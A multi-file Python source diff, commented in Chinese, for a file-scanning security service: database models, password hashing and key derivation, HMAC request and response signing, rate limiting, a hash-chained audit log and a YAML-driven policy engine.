created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=utcnow, index=True)
finished_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
duration_ms: Mapped[int] = mapped_column(Integer, default=0)
findings: Mapped[list["ScanFinding"]] = relationship(
back_populates="task", cascade="all, delete-orphan", lazy="selectin"
)
class ScanFinding(Base):
__tablename__ = "scan_findings"
id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
task_id: Mapped[str] = mapped_column(
String(64), ForeignKey("scan_tasks.id", ondelete="CASCADE"), index=True
)
engine: Mapped[str] = mapped_column(String(64))
layer: Mapped[str] = mapped_column(String(8))
severity: Mapped[str] = mapped_column(String(16))
rule: Mapped[str] = mapped_column(String(256))
detail: Mapped[str] = mapped_column(Text, default="")
extracted_path: Mapped[str] = mapped_column(String(1024), default="")
weight: Mapped[float] = mapped_column(Float, default=0.0)
task: Mapped[ScanTask] = relationship(back_populates="findings")
class AuditLog(Base):
"""审计日志。
每条记录包含 ``prev_hash`` 与 ``row_hash``,形成哈希链。
任一条记录被篡改或删除,后续记录的链式校验都会失败,可被检测出来。
"""
__tablename__ = "audit_logs"
id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
ts: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=utcnow, index=True)
actor: Mapped[str] = mapped_column(String(128), default="system")
actor_role: Mapped[str] = mapped_column(String(32), default="system")
action: Mapped[str] = mapped_column(String(64), index=True)
target: Mapped[str] = mapped_column(String(256), default="")
channel: Mapped[str] = mapped_column(String(64), default="")
client_ip: Mapped[str] = mapped_column(String(64), default="")
outcome: Mapped[str] = mapped_column(String(24), default="success")
detail: Mapped[dict] = mapped_column(JSON, default=dict)
prev_hash: Mapped[str] = mapped_column(String(64), default="")
row_hash: Mapped[str] = mapped_column(String(64), default="")
__table_args__ = (Index("ix_audit_logs_action_ts", "action", "ts"),)
class ConsoleUser(Base):
__tablename__ = "console_users"
id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
username: Mapped[str] = mapped_column(String(64), unique=True, index=True)
password_hash: Mapped[str] = mapped_column(String(256))
role: Mapped[str] = mapped_column(String(32), default="admin")
is_active: Mapped[bool] = mapped_column(Boolean, default=True)
must_change_password: Mapped[bool] = mapped_column(Boolean, default=True)
failed_attempts: Mapped[int] = mapped_column(Integer, default=0)
locked_until: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
last_login_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
password_changed_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=utcnow)
class LoginAttempt(Base):
__tablename__ = "login_attempts"
id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
username: Mapped[str] = mapped_column(String(64), index=True)
client_ip: Mapped[str] = mapped_column(String(64), default="")
success: Mapped[bool] = mapped_column(Boolean, default=False)
ts: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=utcnow, index=True)
class PolicyVersion(Base):
__tablename__ = "policy_versions"
id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
version: Mapped[str] = mapped_column(String(64), unique=True, index=True)
content: Mapped[dict] = mapped_column(JSON, default=dict)
sha256: Mapped[str] = mapped_column(String(64), default="")
created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=utcnow)
class ReviewRecord(Base):
__tablename__ = "review_records"
id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
task_id: Mapped[str] = mapped_column(String(64), ForeignKey("scan_tasks.id", ondelete="CASCADE"), index=True)
reviewer: Mapped[str] = mapped_column(String(64))
decision: Mapped[str] = mapped_column(String(32))
comment: Mapped[str] = mapped_column(Text, default="")
created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=utcnow)
class IdempotencyRecord(Base):
"""幂等记录:同一文件哈希 + 同一策略版本只扫描一次。"""
__tablename__ = "idempotency_records"
id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
sha256: Mapped[str] = mapped_column(String(64), index=True)
policy_version: Mapped[str] = mapped_column(String(64), index=True)
task_id: Mapped[str] = mapped_column(String(64))
created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=utcnow)
__table_args__ = (UniqueConstraint("sha256", "policy_version", name="uq_idem_hash_policy"),)

1
app/security/__init__.py Normal file
View File

@@ -0,0 +1 @@
"""安全包。"""

106
app/security/crypto.py Normal file
View File

@@ -0,0 +1,106 @@
"""密码学基础工具:密钥派生、口令哈希、常数时间比较。"""
from __future__ import annotations
import base64
import hashlib
import hmac
import os
from typing import Tuple
# 口令哈希迭代次数。等保三级要求存储口令不可逆,PBKDF2-HMAC-SHA256
# 迭代 60 万次在现代 CPU 上约 0.3~0.6 秒,兼顾抗暴力破解与可用性。
PBKDF2_ITERATIONS = 600_000
PBKDF2_ALGORITHM = "sha256"
SALT_BYTES = 16
def derive_key(secret: str, salt: str, info: str, length: int = 32) -> bytes:
"""使用 HKDF-SHA256 从调用方密钥派生用途隔离的子密钥。
不同用途使用不同 ``info`` 标签,使得请求签名密钥与响应签名密钥相互独立。
"""
prk = hmac.new(
salt.encode("utf-8"), secret.encode("utf-8"), hashlib.sha256
).digest()
okm = b""
block = b""
counter = 1
while len(okm) < length:
block = hmac.new(prk, block + info.encode("utf-8") + bytes([counter]), hashlib.sha256).digest()
okm += block
counter += 1
return okm[:length]
def derive_client_signing_key(secret: str, client_id: str) -> bytes:
return derive_key(secret, client_id, "meshsafe/api/v1/request-signing")
def derive_client_response_key(secret: str, client_id: str) -> bytes:
return derive_key(secret, client_id, "meshsafe/api/v1/response-signing")
def hash_password(password: str) -> str:
"""生成 ``pbkdf2_sha256$迭代次数$盐$哈希`` 格式的口令哈希。"""
salt = os.urandom(SALT_BYTES)
dk = hashlib.pbkdf2_hmac(
PBKDF2_ALGORITHM, password.encode("utf-8"), salt, PBKDF2_ITERATIONS
)
return "$".join(
[
"pbkdf2_sha256",
str(PBKDF2_ITERATIONS),
base64.b64encode(salt).decode("ascii"),
base64.b64encode(dk).decode("ascii"),
]
)
def verify_password(password: str, stored: str) -> bool:
"""校验口令。格式非法时返回 False,不抛出异常。"""
try:
algo, iterations, salt_b64, hash_b64 = stored.split("$")
if algo != "pbkdf2_sha256":
return False
salt = base64.b64decode(salt_b64)
expected = base64.b64decode(hash_b64)
actual = hashlib.pbkdf2_hmac(
PBKDF2_ALGORITHM, password.encode("utf-8"), salt, int(iterations)
)
return hmac.compare_digest(actual, expected)
except Exception: # noqa: BLE001
return False
def needs_rehash(stored: str) -> bool:
"""判断存量口令哈希是否需要按当前参数重新计算。"""
try:
algo, iterations, _, _ = stored.split("$")
return algo != "pbkdf2_sha256" or int(iterations) < PBKDF2_ITERATIONS
except Exception: # noqa: BLE001
return True
def sha256_bytes(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def sha256_file(path: str, chunk_size: int = 1024 * 1024) -> Tuple[str, int]:
"""流式计算文件 SHA256 与 MD5,返回 (sha256, md5, size)。"""
sha = hashlib.sha256()
md5 = hashlib.md5()
size = 0
with open(path, "rb") as fh:
while True:
chunk = fh.read(chunk_size)
if not chunk:
break
sha.update(chunk)
md5.update(chunk)
size += len(chunk)
return sha.hexdigest(), md5.hexdigest(), size
def constant_time_equals(a: str, b: str) -> bool:
return hmac.compare_digest(a.encode("utf-8"), b.encode("utf-8"))

261
app/security/deps.py Normal file
View File

@@ -0,0 +1,261 @@
"""API 安全依赖:认证、签名校验、防重放、限流、响应签名。"""
from __future__ import annotations
import json
import time
from typing import TYPE_CHECKING, Any, Dict, Optional
from fastapi import Depends, HTTPException, Request, Response, status
from fastapi.responses import JSONResponse
from starlette.middleware.base import BaseHTTPMiddleware
from app.config import get_settings
from app.security import signing
from app.security.crypto import constant_time_equals
_settings = get_settings()
# redis 是可选依赖——没装时限流和防重放降级为内存策略(_check_rate_limit / nonce 检查里已兜底)
try:
import redis as _redis # type: ignore
except ModuleNotFoundError:
_redis = None
if TYPE_CHECKING:
import redis
_redis_client: Optional["redis.Redis"] = None
# 响应体原始字节暂存键,供响应签名中间件复用
RAW_BODY_ATTR = "_meshsafe_raw_body"
CLIENT_ATTR = "_meshsafe_client"
def get_redis():
"""懒加载 Redis 客户端。未安装 redis 包或连接失败时由调用方兜底。"""
global _redis_client
if _redis is None:
raise RuntimeError("redis 包未安装")
if _redis_client is None:
_redis_client = _redis.Redis.from_url(
_settings.redis_url, decode_responses=True, socket_timeout=5
)
return _redis_client
class ClientContext:
"""已通过认证的调用方上下文。"""
def __init__(self, client_id: str, secret: str, role: str = "operator") -> None:
self.client_id = client_id
self.secret = secret
self.role = role
def _lookup_client(client_id: str) -> Optional[ClientContext]:
for item in _settings.parsed_api_clients:
if constant_time_equals(item["client_id"], client_id):
return ClientContext(item["client_id"], item["secret"])
return None
def _check_rate_limit(client_id: str, path: str) -> None:
"""基于 Redis 的滑动窗口限流,防止接口被暴力试探。"""
try:
r = get_redis()
bucket = int(time.time() // 60)
key = f"ms:rl:{client_id}:{path}:{bucket}"
pipe = r.pipeline()
pipe.incr(key)
pipe.expire(key, 120)
count = pipe.execute()[0]
limit = 120 if "/scans" in path else 600
if count > limit:
raise HTTPException(
status_code=status.HTTP_429_TOO_MANY_REQUESTS,
detail="请求过于频繁,已触发限流",
)
except HTTPException:
raise
except Exception: # noqa: BLE001 Redis 不可用时不阻断主流程
return
async def authenticate(request: Request) -> ClientContext:
"""认证与签名校验依赖。
依次执行:
1. 解析并校验调用方标识
2. 时间戳窗口校验(防重放)
3. nonce 一次性校验
4. 请求体哈希一致性校验
5. HMAC 签名校验
"""
client_id = request.headers.get("X-MS-Client-Id", "")
timestamp = request.headers.get("X-MS-Timestamp", "")
nonce = request.headers.get("X-MS-Nonce", "")
body_hash = request.headers.get("X-MS-Body-SHA256", "")
signature = request.headers.get("X-MS-Signature", "")
if not client_id or not timestamp or not nonce or not signature:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="缺少必要的认证请求头",
)
ctx = _lookup_client(client_id)
if ctx is None:
# 不区分"不存在"与"密钥错误",避免枚举 client_id
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="认证失败")
# 1) 时间戳窗口
try:
ts_int = int(timestamp)
except ValueError:
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="认证失败")
skew = abs(int(time.time()) - ts_int)
if skew > _settings.signature_window:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=f"请求时间戳超出允许偏差({_settings.signature_window} 秒)",
)
# 2) nonce 一次性
try:
r = get_redis()
nonce_key = f"ms:nonce:{client_id}:{nonce}"
if not r.set(nonce_key, "1", nx=True, ex=_settings.signature_window * 2):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED, detail="重复请求,已拒绝"
)
except HTTPException:
raise
except Exception: # noqa: BLE001
pass
# 3) 读取请求体并校验哈希
# 注意:multipart/form-data 请求体已被 FastAPI UploadFile 消费,不能再 await request.body()
# 此时客户端已在 X-MS-Body-SHA256 里提供哈希,直接用即可
body: bytes = b""
ct = request.headers.get("content-type", "").lower()
if not ct.startswith("multipart/"):
try:
body = await request.body()
except RuntimeError:
# stream 已被消费(比如中间件或 UploadFile),用空 body 兜底
body = b""
skip_hash = ct.startswith("multipart/")
if not signing.verify_request_signature(
ctx.secret,
ctx.client_id,
request.method,
request.url.path,
dict(request.query_params),
body,
timestamp,
nonce,
body_hash,
signature,
skip_body_hash_check=skip_hash,
):
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="认证失败")
_check_rate_limit(ctx.client_id, request.url.path)
request.state.client = ctx
return ctx
async def require_admin(ctx: ClientContext = Depends(authenticate)) -> ClientContext:
"""要求调用方具备完整 findings 权限。"""
if ctx.role != "operator":
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail="当前凭证无权查看完整检测明细",
)
return ctx
class ResponseSigningMiddleware(BaseHTTPMiddleware):
"""为所有 API 响应添加签名头。
响应体在读取过程中暂存原始字节,签名基于原始字节计算,
避免因 JSON 序列化差异导致客户端验签失败。
"""
async def dispatch(self, request: Request, call_next):
response = await call_next(request)
if not _settings.sign_response:
return response
if request.url.path.startswith("/api/"):
ctx = getattr(request.state, "client", None)
if ctx is None:
return response
body = getattr(response, RAW_BODY_ATTR, None)
if body is None:
body = b""
if hasattr(response, "body_iterator"):
chunks = []
async for chunk in response.body_iterator:
chunks.append(chunk if isinstance(chunk, bytes) else chunk.encode("utf-8"))
body = b"".join(chunks)
response = Response(
content=body,
status_code=response.status_code,
headers=dict(response.headers),
media_type=response.media_type,
)
# 删除旧 content-length(重建后会自动重新计算)
try:
del response.headers["content-length"]
except KeyError:
pass
headers = signing.sign_response(ctx.secret, ctx.client_id, body)
for key, value in headers.items():
response.headers[key] = value
return response
def build_signed_json(ctx: ClientContext, payload: Dict[str, Any], status_code: int = 200) -> JSONResponse:
"""构造带签名的 JSON 响应(供直接返回场景使用)。"""
body = signing.canonical_json_bytes(payload)
response = JSONResponse(content=payload, status_code=status_code)
if _settings.sign_response:
for key, value in signing.sign_response(ctx.secret, ctx.client_id, body).items():
response.headers[key] = value
return response
def redact_for_role(payload: Dict[str, Any], role: str) -> Dict[str, Any]:
"""按角色裁剪响应内容,降低信息泄露面。
``basic`` 角色只返回结论摘要,不返回引擎明细与提取文件路径,
避免通过差异响应反推检测逻辑。
"""
if role == "operator":
return payload
allowed_top = {
"task_id",
"verdict",
"score",
"action",
"reason",
"status",
"file",
"meta",
}
trimmed = {k: v for k, v in payload.items() if k in allowed_top}
file_info = trimmed.get("file")
if isinstance(file_info, dict):
trimmed["file"] = {
"sha256": file_info.get("sha256"),
"size": file_info.get("size"),
"real_type": file_info.get("real_type"),
}
trimmed["detail_truncated"] = True
return trimmed

113
app/security/ratelimit.py Normal file
View File

@@ -0,0 +1,113 @@
"""接口限流(Token bucket 滑窗)。
设计:
- 客户端维度(按 client_id 或 IP),每分钟请求配额
- 优先用 Redis(多 worker 共享计数),Redis 不可用时降级为内存字典
- 返回 429 + Retry-After header
"""
from __future__ import annotations
import threading
import time
from typing import Optional
from fastapi import Depends, HTTPException, Request, status
# ---------- 内存降级模式 ----------
# key -> (window_start_timestamp, count)
_MEM_BUCKET: dict[str, tuple[float, int]] = {}
_MEM_LOCK = threading.Lock()
_MEM_WINDOW = 60 # 秒
def _get_redis():
"""懒加载 Redis(避免模块 import 时没装直接崩)。"""
try:
import redis # type: ignore
except Exception: # noqa: BLE001
return None
from app.config import get_settings
try:
return redis.from_url(get_settings().redis_url, decode_responses=True)
except Exception: # noqa: BLE001
return None
def _memory_check(key: str, limit: int) -> bool:
"""内存滑窗:返回 True 表示允许,False 表示超限。"""
now = time.time()
with _MEM_LOCK:
start_ts, count = _MEM_BUCKET.get(key, (now, 0.0))
if now - start_ts > _MEM_WINDOW:
# 窗口外,重建
_MEM_BUCKET[key] = (now, 1)
return True
if count >= limit:
return False
_MEM_BUCKET[key] = (start_ts, count + 1)
return True
def _redis_check(client_key: str, limit: int) -> bool:
"""Redis 滑窗(INCR + EXPIRE)。"""
r = _get_redis()
if r is None:
return _memory_check(client_key, limit)
try:
key = f"meshsafe:rl:{client_key}"
pipe = r.pipeline()
pipe.incr(key)
pipe.expire(key, _MEM_WINDOW)
results = pipe.execute()
count = results[0]
return count <= limit
except Exception: # noqa: BLE001
return _memory_check(client_key, limit)
class RateLimiter:
"""限流依赖:返回一个 callable 给 Depends。
用法:
@app.post("/scan/sync")
async def scan_sync(..., limiter=Depends(RateLimiter(max_requests_per_min=60))):
...
"""
def __init__(self, max_requests_per_min: int = 60, label: str = "scan") -> None:
self.max_requests = max_requests_per_min
self.label = label
async def __call__(self, request: Request) -> None:
# 优先用 client_id(客户端签名带上的),退而用 IP
ctx = getattr(request.state, "client", None)
client_id = (ctx.client_id if ctx else None) or getattr(request.state, "client_id", None) or request.client.host
key = f"{self.label}:{client_id}"
if not _redis_check(key, self.max_requests):
raise HTTPException(
status_code=status.HTTP_429_TOO_MANY_REQUESTS,
detail=f"Rate limit exceeded ({self.label}: {self.max_requests}/min)",
headers={"Retry-After": str(_MEM_WINDOW)},
)
def rate_limit(max_requests_per_min: int = 60, label: str = "scan"):
"""更简洁的限流装饰器(函数依赖)。
用法:
@app.post("/scan/sync")
async def scan_sync(..., _ = Depends(rate_limit(60, "scans"))):
...
"""
async def _check(request: Request) -> None:
ctx = getattr(request.state, "client", None)
client_id = (ctx.client_id if ctx else None) or getattr(request.state, "client_id", None) or request.client.host
key = f"{label}:{client_id}"
if not _redis_check(key, max_requests_per_min):
raise HTTPException(
status_code=status.HTTP_429_TOO_MANY_REQUESTS,
detail=f"Rate limit exceeded ({label}: {max_requests_per_min}/min)",
headers={"Retry-After": str(_MEM_WINDOW)},
)
return _check

179
app/security/signing.py Normal file
View File

@@ -0,0 +1,179 @@
"""API 请求签名与响应签名。
请求签名规范(HMAC-SHA256)
---------------------------
客户端需在请求头中携带:
- ``X-MS-Client-Id`` 调用方标识
- ``X-MS-Timestamp`` Unix 秒级时间戳
- ``X-MS-Nonce`` 随机串,32 位十六进制,服务端保证一次性
- ``X-MS-Body-SHA256`` 请求体字节的 SHA256(无请求体时为空串的 SHA256)
- ``X-MS-Signature`` 签名值
待签名串由以下部分按固定顺序拼接,换行符为 ``\\n``::
METHOD
PATH
CANONICAL_QUERY
BODY_SHA256
TIMESTAMP
NONCE
CLIENT_ID
签名为 ``HMAC-SHA256(请求签名密钥, 待签名串)`` 的小写十六进制。
响应签名
--------
服务端在响应头中返回:
- ``X-MS-Response-Timestamp``
- ``X-MS-Response-Signature``: ``HMAC-SHA256(响应签名密钥, 响应体SHA256 + 时间戳)``
客户端用相同密钥派生规则即可独立验签,从而防止中间人篡改结论。
"""
from __future__ import annotations
import hashlib
import hmac
import json
from typing import Any, Dict, Mapping, Optional
EMPTY_BODY_SHA256 = hashlib.sha256(b"").hexdigest()
def canonical_query(params: Optional[Mapping[str, Any]]) -> str:
"""将查询参数规范化为 ``k=v&k2=v2`` 形式(按 key 升序)。"""
if not params:
return ""
items = []
for key in sorted(params.keys()):
value = params[key]
if value is None:
continue
if isinstance(value, (list, tuple)):
for item in value:
items.append(f"{key}={item}")
else:
items.append(f"{key}={value}")
return "&".join(items)
def body_sha256(body: bytes) -> str:
return hashlib.sha256(body).hexdigest()
def build_signing_string(
method: str,
path: str,
query: str,
body_hash: str,
timestamp: str,
nonce: str,
client_id: str,
) -> str:
return "\n".join(
[method.upper(), path, query, body_hash, str(timestamp), nonce, client_id]
)
def sign_request(
secret: str,
client_id: str,
method: str,
path: str,
query: Optional[Mapping[str, Any]] = None,
body: bytes = b"",
timestamp: Optional[int] = None,
nonce: Optional[str] = None,
) -> Dict[str, str]:
"""生成完整的请求签名头集合。"""
import os
import time
ts = str(timestamp if timestamp is not None else int(time.time()))
nc = nonce or os.urandom(16).hex()
bh = body_sha256(body)
qs = canonical_query(query)
payload = build_signing_string(method, path, qs, bh, ts, nc, client_id)
key = _signing_key(secret, client_id)
signature = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest()
return {
"X-MS-Client-Id": client_id,
"X-MS-Timestamp": ts,
"X-MS-Nonce": nc,
"X-MS-Body-SHA256": bh,
"X-MS-Signature": signature,
}
def verify_request_signature(
secret: str,
client_id: str,
method: str,
path: str,
query: Optional[Mapping[str, Any]],
body: bytes,
timestamp: str,
nonce: str,
provided_body_hash: str,
provided_signature: str,
*,
skip_body_hash_check: bool = False,
) -> bool:
"""服务端侧验签。
skip_body_hash_check=True 时(multipart/form-data 场景,服务端拿不到原始 body),
直接信任客户端提供的 provided_body_hash,只校验 HMAC 签名部分。
"""
if skip_body_hash_check:
expected_body_hash = provided_body_hash or ""
else:
expected_body_hash = body_sha256(body)
if not hmac.compare_digest(expected_body_hash, provided_body_hash or ""):
return False
payload = build_signing_string(
method, path, canonical_query(query), expected_body_hash, timestamp, nonce, client_id
)
key = _signing_key(secret, client_id)
expected = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest()
return hmac.compare_digest(expected, provided_signature or "")
def sign_response(secret: str, client_id: str, body_bytes: bytes, timestamp: Optional[int] = None) -> Dict[str, str]:
"""为响应体生成签名头。"""
import time
ts = str(timestamp if timestamp is not None else int(time.time()))
key = _response_key(secret, client_id)
payload = body_sha256(body_bytes) + ts
signature = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest()
return {"X-MS-Response-Timestamp": ts, "X-MS-Response-Signature": signature}
def verify_response_signature(
secret: str, client_id: str, body_bytes: bytes, timestamp: str, signature: str
) -> bool:
key = _response_key(secret, client_id)
payload = body_sha256(body_bytes) + timestamp
expected = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest()
return hmac.compare_digest(expected, signature or "")
def canonical_json_bytes(payload: Any) -> bytes:
"""将响应对象序列化为稳定的 JSON 字节串(供签名使用)。"""
return json.dumps(
payload, ensure_ascii=False, sort_keys=True, separators=(",", ":")
).encode("utf-8")
def _signing_key(secret: str, client_id: str) -> bytes:
from app.security.crypto import derive_client_signing_key
return derive_client_signing_key(secret, client_id)
def _response_key(secret: str, client_id: str) -> bytes:
from app.security.crypto import derive_client_response_key
return derive_client_response_key(secret, client_id)

1
app/services/__init__.py Normal file
View File

@@ -0,0 +1 @@
"""服务包。"""

155
app/services/audit.py Normal file
View File

@@ -0,0 +1,155 @@
"""审计日志服务,带哈希链防篡改。"""
from __future__ import annotations
import hashlib
import json
from datetime import datetime, timedelta, timezone
from typing import Any, Dict, Optional
from sqlalchemy import select
from sqlalchemy.orm import Session
from app.config import get_settings
from app.models import AuditLog
_settings = get_settings()
def _canonical(detail: Dict[str, Any]) -> str:
return json.dumps(detail, ensure_ascii=False, sort_keys=True, separators=(",", ":"), default=str)
def compute_row_hash(
ts: datetime,
actor: str,
actor_role: str,
action: str,
target: str,
channel: str,
client_ip: str,
outcome: str,
detail: Dict[str, Any],
prev_hash: str,
) -> str:
"""计算审计记录的链式哈希。
哈希输入包含除 ``row_hash`` 外的全部字段以及前一条记录的哈希,
任何字段被修改都会导致链断裂。
"""
payload = "|".join(
[
ts.astimezone(timezone.utc).isoformat(),
actor,
actor_role,
action,
target,
channel,
client_ip,
outcome,
_canonical(detail),
prev_hash,
]
)
return hashlib.sha256(payload.encode("utf-8")).hexdigest()
def record(
db: Session,
*,
action: str,
actor: str = "system",
actor_role: str = "system",
target: str = "",
channel: str = "",
client_ip: str = "",
outcome: str = "success",
detail: Optional[Dict[str, Any]] = None,
) -> AuditLog:
"""写入一条审计日志。"""
detail = detail or {}
prev_hash = ""
if _settings.audit_hash_chain:
last = db.execute(
select(AuditLog).order_by(AuditLog.id.desc()).limit(1)
).scalar_one_or_none()
if last is not None:
prev_hash = last.row_hash or ""
ts = datetime.now(timezone.utc)
row_hash = ""
if _settings.audit_hash_chain:
row_hash = compute_row_hash(
ts, actor, actor_role, action, target, channel, client_ip, outcome, detail, prev_hash
)
entry = AuditLog(
ts=ts,
actor=actor,
actor_role=actor_role,
action=action,
target=target,
channel=channel,
client_ip=client_ip,
outcome=outcome,
detail=detail,
prev_hash=prev_hash,
row_hash=row_hash,
)
db.add(entry)
db.commit()
db.refresh(entry)
return entry
def verify_chain(db: Session, limit: int = 1000) -> Dict[str, Any]:
"""校验最近若干条审计记录的哈希链完整性。"""
rows = list(
db.execute(select(AuditLog).order_by(AuditLog.id.desc()).limit(limit)).scalars().all()
)
rows.reverse()
broken_at: Optional[int] = None
prev_hash = ""
for row in rows:
if row.prev_hash != prev_hash:
broken_at = row.id
break
expected = compute_row_hash(
row.ts,
row.actor,
row.actor_role,
row.action,
row.target,
row.channel,
row.client_ip,
row.outcome,
row.detail or {},
row.prev_hash,
)
if expected != row.row_hash:
broken_at = row.id
break
prev_hash = row.row_hash
return {
"checked": len(rows),
"intact": broken_at is None,
"broken_at_id": broken_at,
"verified_at": datetime.now(timezone.utc).isoformat(),
}
def purge_expired(db: Session) -> int:
"""清理超出留存期的审计记录,返回删除条数。
等保三级要求审计记录留存不少于 180 天,删除动作本身也会记入审计日志。
"""
threshold = datetime.now(timezone.utc) - timedelta(days=_settings.audit_retention_days)
rows = db.execute(select(AuditLog).where(AuditLog.ts < threshold)).scalars().all()
for row in rows:
db.delete(row)
if rows:
db.commit()
return len(rows)

754
app/services/policy.py Normal file
View File

@@ -0,0 +1,754 @@
"""全局策略引擎。
职责:
1. 加载与校验策略文件(YAML)
2. 依据策略计算风险分并裁决处置动作
3. 生成人可读的判定理由
设计原则:策略与代码分离。调整裁决规则只改 YAML,不动代码。
"""
from __future__ import annotations
import hashlib
import json
import logging
import os
import threading
import uuid
from dataclasses import dataclass, field
from datetime import datetime, timezone
from typing import Any, Dict, List, Optional
import yaml
from app.engines.base import Finding, Severity
VALID_ACTIONS = {"pass", "pass_with_flag", "manual_review", "reject", "reject_and_notify"}
@dataclass
class Policy:
"""已解析的策略对象。"""
version: str
raw: Dict[str, Any]
sha256: str
path: str = ""
# ------------------------------------------------------------ 便捷访问
@property
def global_cfg(self) -> Dict[str, Any]:
return self.raw.get("global", {}) or {}
@property
def block_score(self) -> float:
return float(self.global_cfg.get("block_score", 70))
@property
def review_score(self) -> List[float]:
value = self.global_cfg.get("review_score", [30, 70])
if not isinstance(value, (list, tuple)) or len(value) != 2:
return [30.0, 70.0]
return [float(value[0]), float(value[1])]
@property
def fail_closed(self) -> bool:
return str(self.global_cfg.get("engine_failure_mode", "fail_closed")).lower() == "fail_closed"
@property
def max_file_size(self) -> int:
return int(self.global_cfg.get("max_file_size", 50 * 1024 * 1024))
@property
def sync_max_size(self) -> int:
return int(self.global_cfg.get("sync_max_size", self.max_file_size))
@property
def allowed_extensions(self) -> List[str]:
return [str(e).lower() for e in self.raw.get("allowed_extensions", []) or []]
@property
def sandbox_required_extensions(self) -> List[str]:
return [str(e).lower() for e in self.raw.get("sandbox_required_extensions", []) or []]
@property
def rule_overrides(self) -> Dict[str, Dict[str, Any]]:
return self.raw.get("rule_overrides", {}) or {}
@property
def zero_tolerance_rules(self) -> List[str]:
"""零容忍规则集(步骤 0,优先级最高)。
命中即 reject,不走评分累加。独立于评分模型。
"""
raw = self.raw.get("zero_tolerance_rules", [])
return [str(rule).strip() for rule in raw if str(rule).strip()]
@property
def macro_exceptions(self) -> List[Dict[str, Any]]:
"""宏行为例外列表(步骤 0 的唯一放宽入口)。
每条例外需含 fingerprint_sha256 / filename_pattern / approved_by / expires_at。
"""
return self.raw.get("macro_exceptions", []) or {}
@property
def keyword_rules(self) -> List[Dict[str, Any]]:
"""内网特征词表规则(L2B 引擎使用)。"""
return self.raw.get("keyword_rules", []) or []
@property
def yara_weights(self) -> Dict[str, float]:
"""YARA 规则权重映射:规则名 → weight(0-100)。
从 policy.yaml 的 yara_rule_weights.{critical/high/medium/low} 展开。
档位权重固定:critical=85 / high=65 / medium=45 / low=25。
"""
weights = {
"critical": 85.0,
"high": 65.0,
"medium": 45.0,
"low": 25.0,
}
result: Dict[str, float] = {}
for tier, weight in weights.items():
for rule_name in (self.raw.get("yara_rule_weights", {}).get(tier) or []):
result[str(rule_name)] = weight
return result
@property
def allow_encrypted_archive(self) -> bool:
return bool(self.global_cfg.get("allow_encrypted_archive", False))
@property
def allow_encrypted_document(self) -> bool:
return bool(self.global_cfg.get("allow_encrypted_document", False))
@property
def include_reason(self) -> bool:
return bool((self.raw.get("notification", {}) or {}).get("include_reason", True))
@property
def max_reason_length(self) -> int:
return int((self.raw.get("notification", {}) or {}).get("max_reason_length", 500))
@property
def audit_cfg(self) -> Dict[str, Any]:
return self.raw.get("audit", {}) or {}
@dataclass
class Decision:
"""裁决结果。"""
verdict: str
action: str
score: float
reason: str
triggered: List[Dict[str, Any]] = field(default_factory=list)
def to_dict(self) -> Dict[str, Any]:
return {
"verdict": self.verdict,
"action": self.action,
"score": self.score,
"reason": self.reason,
"triggered": self.triggered,
}
class PolicyStore:
"""策略加载器,支持热加载与版本快照。DB 为准,YAML 作为导出备份。
启动时优先从 ``policy_versions`` 表读取最新版本;数据库不可用时回退到 YAML 文件。
控制台保存时写入新的 ``policy_versions`` 行 + 可选导出 YAML。
"""
def __init__(self, policy_file: str) -> None:
self.policy_file = policy_file
self._policy: Optional[Policy] = None
self._lock = threading.Lock()
def current(self) -> Policy:
with self._lock:
if self._policy is None:
self._policy = self._load_db_or_yaml()
return self._policy
def reload(self) -> Policy:
"""强制重新加载(DB 优先)。"""
with self._lock:
self._policy = self._load_db_or_yaml()
return self._policy
def save_from_dict(self, raw: Dict[str, Any], *, actor: str = "console") -> Policy:
"""控制台保存:写入 DB 新行 + 导出 YAML 备份 + 热重载。"""
import json as _json
# 校验
policy = Policy(
version=raw.get("version", f"manual-{datetime.now(timezone.utc).strftime('%Y%m%d%H%M%S')}"),
raw=raw,
sha256=hashlib.sha256(_json.dumps(raw, sort_keys=True, default=str).encode()).hexdigest(),
)
self._validate(policy)
# 写入 DB
try:
from app.db import SessionLocal
from app.models import PolicyVersion
db = SessionLocal()
try:
version_name = f"{policy.version}-{policy.sha256[:8]}"
pv = PolicyVersion(
version=version_name,
content=raw,
sha256=policy.sha256,
)
db.add(pv)
db.commit()
policy.version = version_name
finally:
db.close()
except Exception as exc: # noqa: BLE001
logging.getLogger(__name__).warning("策略保存 DB 失败(回退 YAML): %s", exc)
# 失败时直接更新内存(降级不崩)
# 可选:导出 YAML 备份
try:
import yaml as _yaml_mod
with open(self.policy_file, "w", encoding="utf-8") as fh:
_yaml_mod.dump(raw, fh, allow_unicode=True, sort_keys=False)
except Exception: # noqa: BLE001
pass
